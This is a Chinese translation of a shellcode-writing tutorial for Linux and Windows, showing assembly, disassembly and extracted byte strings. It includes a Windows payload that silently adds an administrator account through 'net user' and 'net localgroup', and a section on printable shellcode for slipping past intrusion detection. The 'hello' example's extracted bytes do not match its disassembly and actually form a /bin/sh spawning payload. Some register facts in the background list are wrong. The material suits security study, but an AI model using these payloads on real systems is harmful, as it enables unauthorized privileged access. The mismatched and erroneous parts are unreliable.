Shellcoding for Linux and Windows Tutorial

Shellcoding for Linux and Windows Tutorial

几年前的老文章 看到顺便翻译了一下文中所有资源都可以在原文地址中取得:)

http://www.vividmachines.com/shellcode/shellcode.html

背景知识:

1.EAX,EBX,ECX,EDX等所有基于x86平台的32位通用寄存器

2.AH,BH,CH,DH等是通用寄存器的高16位

3.AL,BL,CL,DL等是通用寄存器的低16位

4.ESI和EDI寄存器是用来执行Linux系统调用的通用寄存器

5.XOR EAX,EAX是最快将寄存器置为0的方法

6.在windows下,所有函数参数都是通过栈来传递的

工具需求:gcc

ld

nasm

objdump


可选工具:odfhex.c:一款作者开发的,从“objdump -d”中提取出shellcode并且将它转换成不被检测的十六进制代码

arwin.c:一款作者开发的,通过特定DLL用来找到windows下函数的绝对地址的工具

shellcodetest.c:一个测试shellcode的小工具

exit.asm hello.asm msgbox.asm shellex.asm sleep.asm adduser.asm 文中源码(在Windows XP SP1下写成)


Linux Shellcoding

当我们要测试shellcode时,最好把它放在程序里让它跑起来。这个C程序将被用来测试我们所有的代码

<pre name="code" class="cpp"><span style="font-family: SimSun;">/*shellcodetest.c*/</span>
<span style="font-family: SimSun;">char code[] = "bytecode will go here!";</span>
<span style="font-family: SimSun;">int main(int argc, char **argv)</span>
<span style="font-family: SimSun;">{  </span>
<span style="font-family: SimSun;"><span>	</span>int (*func)();  </span>
<span style="font-family: SimSun;"><span>	</span>func = (int (*)()) code;  </span>
<span style="font-family: SimSun;"><span>	</span>(int)(*func)();</span>
<span style="font-family: SimSun;">}</span>
 
  
 

例1:快速退出

用exit做shellcode示例是最好不过了,因为它很简单。

下面是一些用来调用exit函数的简单汇编代码。

请注意al和XOR操作都是为了保证我们的代码里没有NULL符号。

<span style="font-family: SimSun;">;exit.asm
[SECTION .text]
global _start
_start:
        xor eax, eax       ;exit is syscall 1
        mov al, 1       ;exit is syscall 1
        xor ebx,ebx     ;zero out ebx
        int 0x80
</span>


通过下面几步来编译和提取这段代码:

<span style="font-family: SimSun;">steve hanna@1337b0x:~$ nasm -f elf exit.asm
steve hanna@1337b0x:~$ ld -o exiter exit.o
steve hanna@1337b0x:~$ objdump -d exiter</span>

反汇编结果如下:

<span style="font-family: SimSun;">08048080 <_start>:
 8048080:       b0 01                   mov    $0x1,%al
 8048082:       31 db                   xor    %ebx,%ebx
 8048084:       cd 80                   int    $0x80</span>


可以看到我们需要的字节是:

<span style="font-family: SimSun;">b0 01 31 db cd 80</span>

用这些字节重写上面的程序:

<span style="font-family: SimSun;">char code[] = "\xb0\x01\x31\xdb\xcd\x80";</span>

现在运行程序。

我们可以看到我们已经有了一段shellcode了 你可以调试以确保程序确实调用了exit函数。



例2:Saying Hello

这个例子中,我们将讲一些更为有用的东西。

在这段代码中,我们将会看到如何在程序运行时如何找到字符串的地址。

这是非常重要的一点,因为在运行shellcode通常是在一个未知的环境下,shellcode的地址通常也是未知的因为它不

总是运行在一段相同的地址空间中。

<span style="font-family: SimSun;">;hello.asm
[SECTION .text]

global _start


_start:

        jmp short ender

        starter:

        xor eax, eax    ;clean up the registers
        xor ebx, ebx
        xor edx, edx
        xor ecx, ecx

        mov al, 4       ;syscall write
        mov bl, 1       ;stdout is 1
        pop ecx         ;get the address of the string from the stack
        mov dl, 5       ;length of the string
        int 0x80

        xor eax, eax
        mov al, 1       ;exit the shellcode
        xor ebx,ebx
        int 0x80

        ender:
        call starter	;put the address of the string on the stack
        db 'hello'</span>


编译:

<span style="font-family: SimSun;">steve hanna@1337b0x:~$ nasm -f elf hello.asm
steve hanna@1337b0x:~$ ld -o hello hello.o
steve hanna@1337b0x:~$ objdump -d hello</span>


反汇编:

<span style="font-family: SimSun;">Disassembly of section .text:

08048080 <_start>:
 8048080:       eb 19                   jmp    804809b 

08048082 <starter>:
 8048082:       31 c0                   xor    %eax,%eax
 8048084:       31 db                   xor    %ebx,%ebx
 8048086:       31 d2                   xor    %edx,%edx
 8048088:       31 c9                   xor    %ecx,%ecx
 804808a:       b0 04                   mov    $0x4,%al
 804808c:       b3 01                   mov    $0x1,%bl
 804808e:       59                      pop    %ecx
 804808f:       b2 05                   mov    $0x5,%dl
 8048091:       cd 80                   int    $0x80
 8048093:       31 c0                   xor    %eax,%eax
 8048095:       b0 01                   mov    $0x1,%al
 8048097:       31 db                   xor    %ebx,%ebx
 8048099:       cd 80                   int    $0x80

0804809b <ender>:
 804809b:       e8 e2 ff ff ff          call   8048082 
 80480a0:       68 65 6c 6c 6f          push   $0x6f6c6c65</span>

转换后得到:
char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
	      "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
	      "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
	      "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
	      "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";


这段代码基本提供了一个好的shellcode所拥有的特质,它是一段充分展示了写shellcode技巧的代码。但是注意,shellcode最好由汇编代码写成。

<span style="font-family: SimSun;">the better one is at assembly, the more functional, robust,and most of all evil, one's code will be.</span>



Windows Shellcoding


例1:Sleep is for the Weak

为了写出成功的shellcode,我们应该先确定我们要使用的函数以及该函数所在的绝对地址。比如我们只想要一个线程去sleep一段时间。我们先准备好arwin然后就可以开始了(arwin在上面可以找到)。记住,唯一一个保证进入进程空间的模块是kernel32.dll。所以在这个例子里,sleep看起来像是最简单的函数,仅仅需要接收一个时间参数,线程便会挂起与之相应的时间。

<span style="font-family: SimSun;">G:\> arwin kernel32.dll Sleep
arwin - win32 address resolution program - by steve hanna - v.01
Sleep is located at 0x77e61bea in kernel32.dll</span>
<span style="font-family: SimSun;">;sleep.asm
[SECTION .text]

global _start


_start:
        xor eax,eax
        mov ebx, 0x77e61bea ;address of Sleep
        mov ax, 5000        ;pause for 5000ms
        push eax
        call ebx        ;Sleep(ms);
```

```
steve hanna@1337b0x:~$ nasm -f elf sleep.asm; ld -o sleep sleep.o; objdump -d sleep
sleep:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       31 c0                   xor    %eax,%eax
 8048082:       bb ea 1b e6 77          mov    $0x77e61bea,%ebx
 8048087:       66 b8 88 13             mov    $0x1388,%ax
 804808b:       50                      push   %eax
 804808c:       ff d3                   call   *%ebx</span>



提取字符替换之后Replace the code at the top with:

<span style="font-family: SimSun;">char code[] = "\x31\xc0\xbb\xea\x1b\xe6\x77\x66\xb8\x88\x13\x50\xff\xd3";</span>

当段代码被插入到进程中时它会使主线程挂起五秒钟。(注意:这可能让你的电脑崩溃因为你的堆栈正好在这时爆了:D)


例2:A Message to say "Hey"

第二个例子事实上很有用处,因为他将会展示你利用shellcode所能做的事情。尽管这个例子并不会弹出一个对话框然后对你说hey,但是它展示了绝对地址与使用了LoadLibrary和GetProAddress的相对地址。我们将要使用的库函数有LoadLibraryA,GetProcAddress,MessageBoxA和ExitProcess。(注意:库函数之后的A代表我们使用的是正常的字符集,对应的,我们使用字母W来表示我们使用了一个更为庞大的字符集,比如说unicode)。让我们准备好arwin然后找到我们需要使用的地址。我们不会去检索MessageBoxA函数的地址,我们将会动态地去加载这个函数的地址。

<span style="font-family: SimSun;">> G:\>arwin kernel32.dll LoadLibraryA
arwin - win32 address resolution program - by steve hanna - v.01
LoadLibraryA is located at 0x77e7d961 in kernel32.dll

G:\>arwin kernel32.dll GetProcAddress
arwin - win32 address resolution program - by steve hanna - v.01
GetProcAddress is located at 0x77e7b332 in kernel32.dll

G:\>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x77e798fd in kernel32.dll</span>

;msgbox.asm 
[SECTION .text]

global _start


_start:
	;eax holds return value
	;ebx will hold function addresses
	;ecx will hold string pointers
	;edx will hold NULL

	
	xor eax,eax
	xor ebx,ebx			;zero out the registers
	xor ecx,ecx
	xor edx,edx
	
	jmp short GetLibrary
LibraryReturn:
	pop ecx				;get the library string
	mov [ecx + 10], dl		;insert NULL
	mov ebx, 0x77e7d961		;LoadLibraryA(libraryname);
	push ecx			;beginning of user32.dll
	call ebx			;eax will hold the module handle

	jmp short FunctionName
FunctionReturn:

	pop ecx				;get the address of the Function string
	xor edx,edx
	mov [ecx + 11],dl		;insert NULL
	push ecx
	push eax
	mov ebx, 0x77e7b332		;GetProcAddress(hmodule,functionname);
	call ebx			;eax now holds the address of MessageBoxA
	
	jmp short Message
MessageReturn:
	pop ecx				;get the message string
	xor edx,edx			
	mov [ecx+3],dl			;insert the NULL

	xor edx,edx
	
	push edx			;MB_OK
	push ecx			;title
	push ecx			;message
	push edx			;NULL window handle
	
	call eax			;MessageBoxA(windowhandle,msg,title,type); Address

ender:
	xor edx,edx
	push eax			
	mov eax, 0x77e798fd 		;exitprocess(exitcode);
	call eax			;exit cleanly so we don't crash the parent program
	

	;the N at the end of each string signifies the location of the NULL
	;character that needs to be inserted
	
GetLibrary:
	call LibraryReturn
	db 'user32.dllN'
FunctionName
	call FunctionReturn
	db 'MessageBoxAN'
Message
	call MessageReturn
	db 'HeyN'


替换字符串之后可以得到:
char code[] =   "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\x61\xd9"\
		"\xe7\x77\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x32"\
		"\xb3\xe7\x77\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51"\
		"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xfd\x98\xe7\x77\xff\xd0\xe8\xc4\xff"\
		"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"\
		"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"\
		"\xff\x48\x65\x79\x4e";


在这个例子里,我们只是弹了个窗,这阐述了当我们在利用Windows shellcode的时候的几个重要的概念。静态地址在大多数例子中可以作为一个简单暴力的方法,让shellcode在几分钟之内就运行起来。这个例子说明了我们证明了几个特定的DLL确实会进入到进程空间当中去。一旦MessageBoxA函数被关联到ExitProcess时,ExitProcess就会被调用来确保程序正常的结束了(而不是crash了)


例3 Adding an Administrative Account

第三个例子实际上比前几个shellcode要简单一些,但是它可以让入侵者成功地在远程系统上添加一个用户,并且给这个用户管理员特权。这段代码不需要加载什么额外的库进入到进程空间里因为需要被我们调用的函数只有WinExec和ExitProcess。(注意:这段shellcode的灵感是从Metasploit项目中得来的。它们二者之间的不同在于本文中的代码比它的朋友们精简多了,而且加入你移除了ExitProcess函数的话,它还可以变得更小!)

<span style="font-family: SimSun;">G:\>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x77e798fd in kernel32.dll

G:\>arwin kernel32.dll WinExec
arwin - win32 address resolution program - by steve hanna - v.01
WinExec is located at 0x77e6fd35 in kernel32.dll</span>

<span style="font-family: SimSun;">;adduser.asm
[Section .text]

global _start

_start:

jmp short GetCommand

CommandReturn:
    	 pop ebx            	;ebx now holds the handle to the string
   	 xor eax,eax
   	 push eax
    	 xor eax,eax        	;for some reason the registers can be very volatile, did this just in case
  	 mov [ebx + 89],al   	;insert the NULL character
  	 push ebx
  	 mov ebx,0x77e6fd35
  	 call ebx           	;call WinExec(path,showcode)

   	 xor eax,eax        	;zero the register again, clears winexec retval
   	 push eax
   	 mov ebx, 0x77e798fd
 	 call ebx           	;call ExitProcess(0);</span>
<span style="font-family: SimSun;">GetCommand:
    	;the N at the end of the db will be replaced with a null character
    	call CommandReturn
	db "cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup Administrators /ADD USERNAMEN"

steve hanna@1337b0x:~$ nasm -f elf adduser.asm; ld -o adduser adduser.o; objdump -d adduser

adduser:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       eb 1b                   jmp    804809d 

08048082 :
 8048082:       5b                      pop    %ebx
 8048083:       31 c0                   xor    %eax,%eax
 8048085:       50                      push   %eax
 8048086:       31 c0                   xor    %eax,%eax
 8048088:       88 43 59                mov    %al,0x59(%ebx)
 804808b:       53                      push   %ebx
 804808c:       bb 35 fd e6 77          mov    $0x77e6fd35,%ebx
 8048091:       ff d3                   call   *%ebx
 8048093:       31 c0                   xor    %eax,%eax
 8048095:       50                      push   %eax
 8048096:       bb fd 98 e7 77          mov    $0x77e798fd,%ebx
 804809b:       ff d3                   call   *%ebx

0804809d :
 804809d:       e8 e0 ff ff ff          call   8048082 
 80480a2:       63 6d 64                arpl   %bp,0x64(%ebp)
 80480a5:       2e                      cs
 80480a6:       65                      gs
 80480a7:       78 65                   js     804810e 
 80480a9:       20 2f                   and    %ch,(%edi)
 80480ab:       63 20                   arpl   %sp,(%eax)
 80480ad:       6e                      outsb  %ds:(%esi),(%dx)
 80480ae:       65                      gs
 80480af:       74 20                   je     80480d1 
 80480b1:       75 73                   jne    8048126 
 80480b3:       65                      gs
 80480b4:       72 20                   jb     80480d6 
 80480b6:       55                      push   %ebp
 80480b7:       53                      push   %ebx
 80480b8:       45                      inc    %ebp
 80480b9:       52                      push   %edx
 80480ba:       4e                      dec    %esi
 80480bb:       41                      inc    %ecx
 80480bc:       4d                      dec    %ebp
 80480bd:       45                      inc    %ebp
 80480be:       20 50 41                and    %dl,0x41(%eax)
 80480c1:       53                      push   %ebx
 80480c2:       53                      push   %ebx
 80480c3:       57                      push   %edi
 80480c4:       4f                      dec    %edi
 80480c5:       52                      push   %edx
 80480c6:       44                      inc    %esp
 80480c7:       20 2f                   and    %ch,(%edi)
 80480c9:       41                      inc    %ecx
 80480ca:       44                      inc    %esp
 80480cb:       44                      inc    %esp
 80480cc:       20 26                   and    %ah,(%esi)
 80480ce:       26 20 6e 65             and    %ch,%es:0x65(%esi)
 80480d2:       74 20                   je     80480f4 
 80480d4:       6c                      insb   (%dx),%es:(%edi)
 80480d5:       6f                      outsl  %ds:(%esi),(%dx)
 80480d6:       63 61 6c                arpl   %sp,0x6c(%ecx)
 80480d9:       67 72 6f                addr16 jb 804814b 
 80480dc:       75 70                   jne    804814e 
 80480de:       20 41 64                and    %al,0x64(%ecx)
 80480e1:       6d                      insl   (%dx),%es:(%edi)
 80480e2:       69 6e 69 73 74 72 61    imul   $0x61727473,0x69(%esi),%ebp
 80480e9:       74 6f                   je     804815a 
 80480eb:       72 73                   jb     8048160 
 80480ed:       20 2f                   and    %ch,(%edi)
 80480ef:       41                      inc    %ecx
 80480f0:       44                      inc    %esp
 80480f1:       44                      inc    %esp
 80480f2:       20 55 53                and    %dl,0x53(%ebp)
 80480f5:       45                      inc    %ebp
 80480f6:       52                      push   %edx
 80480f7:       4e                      dec    %esi
 80480f8:       41                      inc    %ecx
 80480f9:       4d                      dec    %ebp
 80480fa:       45                      inc    %ebp
 80480fb:       4e                      dec    %esi</span>

替换字符串之后:

<span style="font-family: SimSun;">char code[] =  "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x59\x53\xbb\x35\xfd\xe6\x77"\
		"\xff\xd3\x31\xc0\x50\xbb\xfd\x98\xe7\x77\xff\xd3\xe8\xe0\xff\xff\xff"\
		"\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"\
		"\x65\x72\x20\x55\x53\x45\x52\x4e\x41\x4d\x45\x20\x50\x41\x53\x53\x57"\
		"\x4f\x52\x44\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c"\
		"\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73"\
		"\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x55\x53\x45\x52"\
		"\x4e\x41\x4d\x45\x4e";</span>


当这段代码执行时,它将会给系统添加一个账户到系统管理员当中,这个账户拥有特定的密码。当这段代码执行完之后,它的父进程将会调用ExitProcess并退出。 shellcode进阶 这部分涵盖了一些编写shellcode过程中的高级话题。未来我还想往这里写更多的东西,但是最近我一直都非常忙碌。如果你对这些话题有特殊的请求,请不要犹豫,马上email给我吧。


printable shellcode

这部分的主题如下:事实上,很多的IDS(Instrustion Detection Systems,即入侵检测系统)可以检测到shellcode,因为这些无法打印的字符在二进制数据里实在是太常见了。如果IDS发现一个包中有太多的NOP和代码,那么它们就倾向于丢掉这个包。更有甚者,将所有非字母数字(alpha-numeric)都给过滤了。这样一来,我们使用可打印的字母数字来编写shellcode的目的已经非常明显了。我们可以实现一个方法,将我们的shellcode块藏在可以打印的字符中。这个部分可能和文中之前的例子有所不同。我们将通过几个具有战略性的小例子来说明这一切

我们的第一步就是要讨论如何混淆我们的一长串NOP。因为当IDS检测到一长串的NOP(0x90)时,它总是倾向于把这个包给丢掉。为了让我们的代码变得更难以检测,我们必须对代码进行一些删减:

OP Code        Hex       ASCII
	inc eax        0x40        @
	inc ebx        0x43        C
	inc ecx        0x41        A
	inc edx        0x42        B
	dec eax        0x48        H
	dec ebx        0x4B        K
	dec ecx        0x49        I
	dec edx        0x4A        J


很明显,如果我们插入这些操作数而不是NOP的话,我们并不会影响输出。这是因为在我们的shellcode中,无论何时我们都拥有寄存器的掌控权,我们可以根据我们的意愿
来给它赋值或者清空它。在我们的shellcode生效之前添加或者删除寄存器中的数值并不会影响我们最终的目的。
所以,我们我下一个部分就是讨论如何将我们的shellcode字母数字化,通过很多看起来很愚蠢的代码。我们必须先找到一些在ascii码范围内的(0x33-0x7e),并且可以是可以打印的字符。
sub eax, 0xHEXINRANGE
	push eax
	pop eax
	push esp
	pop esp
	and eax, 0xHEXINRANGE



令人惊喜的是,事实上我们可以用这些代码做一切我们想做的事情。我本来不想展示这些图表的,但是我决定要用我美妙的ascii技巧来装点这个世界。你可以在下面找到一个关于建立shellcode的大致计划的图表。
The plan works as follows:
		-make space on stack for shellcode and loader
		-execute loader code to construct shellcode
		-use a NOP bridge to ensure that there aren't any extraneous bytes that will crash our code.
		-profit



但是我听到了你吵着说我们不能因此让esp减少,因为它们对可打印的ascii码毫无反应!!!冷静,我这有解决的办法。我们可以通过我们的减法来把值放到EAX中去,然后将这个值push到栈上,最后把这个值pop成ESP


现在你肯定在想我是怎么把值放到EAX里去的,问题是我们不能使用加法,我们也不能直接使用不能打印的字节。我们要怎么克服?我们可以利用这一点:每个寄存器都只有32位,所以如果我们(force a wrap around),
我们就可以把任意的一个值通过可打印的字符再加上两到三个减法操作放到寄存器中


如果你大脑里的齿轮现在已经停止转到了,那么我建议你最好先停止阅读。
The log awaited ASCII diagram
	1)
	EIP(loader code) --------ALLOCATED STACK SPACE--------ESP
	2)
	---(loader code)---EIP-------STACK------ESP--(shellcode--
	3)
	----loadercode---EIP@ESP----shellcode that was builts---









你可能感兴趣的:(Shellcoding for Linux and Windows Tutorial)